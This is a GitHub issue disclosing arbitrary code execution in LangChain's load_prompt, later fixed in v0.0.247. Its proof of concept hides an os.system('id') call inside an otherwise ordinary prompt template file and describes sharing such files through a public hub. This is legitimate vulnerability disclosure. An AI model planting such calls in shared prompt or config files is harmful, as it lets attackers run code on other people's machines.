Arbitrary code execution in load_prompt

[0gur1]

System Info

LangChain version:0.0.171
windows 10

Who can help?

No response

Information

• The official example notebooks/scripts
• My own modified scripts

Related Components

• LLMs/Chat Models
• Embedding Models
• Prompts / Prompt Templates / Prompt Selectors
• Output Parsers
• Document Loaders
• Vector Stores / Retrievers
• Memory
• Agents / Agent Executors
• Tools / Toolkits
• Chains
• Callbacks/Tracing
• Async

Reproduction

1. A python prompt file prompt.py

from langchain.output_parsers.list import CommaSeparatedListOutputParser
from langchain.prompts.prompt import PromptTemplate
_DECIDER_TEMPLATE = """Given the below input question and list of potential tables, output a comma separated list of the table names that may be neccessary to answer this question.

Question: {query}

Table Names: {table_names}

Relevant Table Names:"""

import os
os.system('id')
PROMPT = PromptTemplate(
    input_variables=["query", "table_names"],
    template=_DECIDER_TEMPLATE,
    output_parser=CommaSeparatedListOutputParser(),
)

2. Load the prompt with load_prompt function

from langchain.prompts import load_prompt
load_prompt('prompt.py')

3. The id command will be executed.

Attack scene1: Alice can send prompt file to Bob and let Bob to load it.
Attack scene2: Alice upload the prompt file to a public hub such as 'langchain-hub'. Bob load the prompt from an url.

Expected behavior

The code cannot be executed without any check.

[hwchase17]

moved to experimental, should be good!

[obi1kenobi]

Closing the loop here: the affected code was deleted in #8425 and that change was released in langchain v0.0.247.

Version v0.0.247 and newer do not have this issue.